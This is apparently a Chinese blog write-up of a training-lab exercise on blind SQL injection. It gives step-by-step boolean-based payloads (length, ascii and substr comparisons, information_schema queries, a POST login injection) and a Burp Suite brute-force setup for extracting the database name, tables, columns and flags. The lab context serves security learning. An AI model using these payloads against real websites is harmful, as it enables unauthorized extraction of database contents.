2.盲注-没有回显的注入

盲注-没有回显的注入

sql盲注-靶场A

依然是拿你熟悉的flag

http://injectx1.lab.aqlab.cn:81/Pass-10/index.php?id=1

image-20210116125952445

看图说话,数字型注入,没有回显,由于前几关的经验得知,网站后台使用的数据库是mysql,而且是5.0以上

那这关既然是盲注估计应该是另一个库,先用之前的error库试一下

?id=1 and database()='error'

image-20210116130729509

呵呵果然不是原来的库了,你大爷的

1. 获取库名

由于没有回显,那么库名的获取只能靠猜了,但是猜之前你是不是要判断一下库名的猜长度,要不然你猜个鸡毛

length()                        返回字符串的长度
length(database())       返回库名的长度
我也不建议你一个一个长度等于号的去猜,有种二分法这种算法,可以快速定位


?id=1 and length(database())>0        有数据
?id=1 and length(database())<10      No results found 

image-20210116131441933

说明库名的长度大于10,可以通过小于15,一步一步进行比较,最后得出库名长度为12

image-20210116131633776

接下来就是判断这12个字符具体是哪些内容了,但是字符和数字之间怎么比较呢?不知道你还记不记的ascii码对

照表了,里面每个字符都有一个对应的10进制数表示,那怎么转换呢,这就要利用ascii这个函数了

ascii('a')    --->   97
解决了字符和数字之间的转换,但是database()返回的是12个字符啊,一下子去比较12个字符也不现实啊,而且
也比较不了啊,这个时候就要用到substr这个函数了

substr('hello',1,1)     -->  h
接收三个参数,第一个参数是要截取的字符串,第二个参数是开始截取的位置,第三个参数是截取的长度

利用这两个函数就可以完美解决你一个一个字符比较的问题了

?id=1 and ascii(substr(database(),1,1))>100

image-20210116132757777

?id=1 and ascii(substr(database(),1,1))<110

image-20210116132817663

?id=1 and ascii(substr(database(),1,1))>105

image-20210116132900741

?id=1 and ascii(substr(database(),1,1))<108

image-20210116132942454

既然是在105和108之间,那不是106,就是107

?id=1 and ascii(substr(database(),1,1))=107

image-20210116133032336

我就喜欢大的,果然一试就对,通过查找ascii码对照表得出107是小写的k

image-20210116133233769

我不知道你怎么想的,发现每次测试的时候都是更改那个位置的值,你心里面就没有一点想法?菜鸡

没错,Burpsuite暴力猜解啊

先进行有数据返回和没结果的包的比较

image-20210116134436832

image-20210116134330715

比较返回的数据包

image-20210116134559954

image-20210116134752052

开始暴力猜解

image-20210116134904212

选择攻击类型和添加变量

image-20210116135010640

设置第一个变量的payload为1-12

image-20210116135122210

设置第二个变量的payload,因为falg的格式内容是英文字母和-组成,所以我们添加大小写字母和-对应的10进制

数,来表示,- (短杠) ---》 45

image-20210116135824869

添加按照关键字去匹配

image-20210116135911614

开始攻击

image-20210116135939569

image-20210116140117374

根据返回的结果,一一对照得出库名

107    97   110   119   111   108   111   110   103   120   105    97k         a       n      w      o       l         o      n       g       x       i        a

验证库名是否正确

?id=1 and database()='kanwolongxia'

image-20210116141524152

2. 获取表名

获取表名的套路和库名的套路都是先获取长度,再获取每个字符的内容

获取表名长度

?id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1 因为不知道这个库下有几个表,所以只能用limit 0,1 一个一个的去查

image-20210116142743419

设置payload的值

image-20210116142859796

添加匹配的关键字

image-20210116142944568

开始攻击

image-20210116143000976

image-20210116143030426

得出第一个表名的长度的为6

接下来就是获取每个字符的内容,表名的话一般

?id=1 and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1)=100

添加变量和设置攻击方法

image-20210116143701587

为第一个变量设置payload

image-20210116143742808

为第二个变量设置payload,因为表名一般都不会有特殊字符,而且大多数都是小写的,所以第二个的数值设置为

97-122即可

image-20210116144029863

添加匹配的关键字

image-20210116144119663

开始攻击

image-20210116144211463

108    111   102   108   97   103    l        o      f         l      a       g

运气真好第一个表名就是和flag相关的,还算这个靶场有点良心,没有故意***难你

3. 获取字段

一般表的第一个字段都会是id字段,这里直接验证一下

?id=1 and (select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1)='id'

image-20210116144633864

说明第一个字段果然是id字段,别问我怎么知道的,你写过项目的都懂

接下来我们就来判断第二个字段的字段名,这里我们可以跳过对长度的猜解,我们把长度设置大一点,这样一般不

会漏掉,而且我遇到的字段很少有超过10的,大部分都是5-8左右,而且表名大多数都是小写英文字母组成

?id=1 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name='loflag' limit 1,1)=97注意 limit 1,1  因为是猜解第二个字段

详细的步骤截图我就粘贴了,步骤和猜解表名一样,都是集束炸弹攻击类型,两个变量,一个是截取的位置,一个

是ascii码对应的10进制数,设置payload,添加匹配字符串

image-20210116145553174

102    108  97  103   108  111  f         l      a    g        l      o

我靠和表名反过来,属实够刺激的

4. 获取值

一个一个获取flag吧

?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 0,1)=97

同样可以跳过长度的判断,把截取的位置的最大值设大一点,这个和获取库名内容是一样的,我就不废话了

image-20210116150118500

image-20210116150159020

image-20210116150234294

image-20210116150446112

image-20210116150424799

122  75  97   81  45  81   81  81  z     K    a     Q    -    Q     Q    Q

sql盲注一共三个靶场,分别是靶场A ,B ,C,小菜鸡的我都知道肯定都在这一张表,只需要limit 1,1 limit 2,1

就能得到剩下的两个flag

?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 1,1)=97

image-20210116151149148

122  75  97   81  45   82   68  z     K    a     Q    -    R      D
?id=1 and (select ascii(substr(flaglo,1,1)) from loflag limit 2,1)=97

image-20210116151440312

122  75   97   81  45   77   111  114  101 110z        K    a    Q     -     M    o      r       e      n

回头查看靶场B和靶场C

靶场B和靶场A比较就多了一个闭合方式是双引号靶场C的注入就特殊了,这里简单提一下思路

靶场C的注入提交方式为post提交,这里简单提示一下账号是admin,密码是asdasdd,可以通过前面的语句猜解

到有一个user表里面有条用户记录

username=admin&password=asdasdd' and (select ascii(substr(flaglo,§1§,1)) from loflag limit 2,1)=§100§--+&submit=%E7%99%BB%E5%BD%95别问我为什么在password后面构建sql语句 , 我猜的 , 看源码提示啊

image-20210116153540301

设置第一个payload

image-20210116153613420

第二个payload

image-20210116153638337

设置匹配的关键字,注意这次的关键字和之前的不一样,因为页面有变化,但是可以对比器找到关键字

成功登录这是成功登陆,也不知道这是什么奇怪的编码

image-20210116155238391

开始攻击

image-20210116154959889

和上面的一比较发现是一样的

总结

学会口算ascii码对应的10进制数和注意limit,注意关键字的寻找

posted @ 2021-12-20 19:02  Mn猿  阅读(588)  评论(0编辑  收藏  举报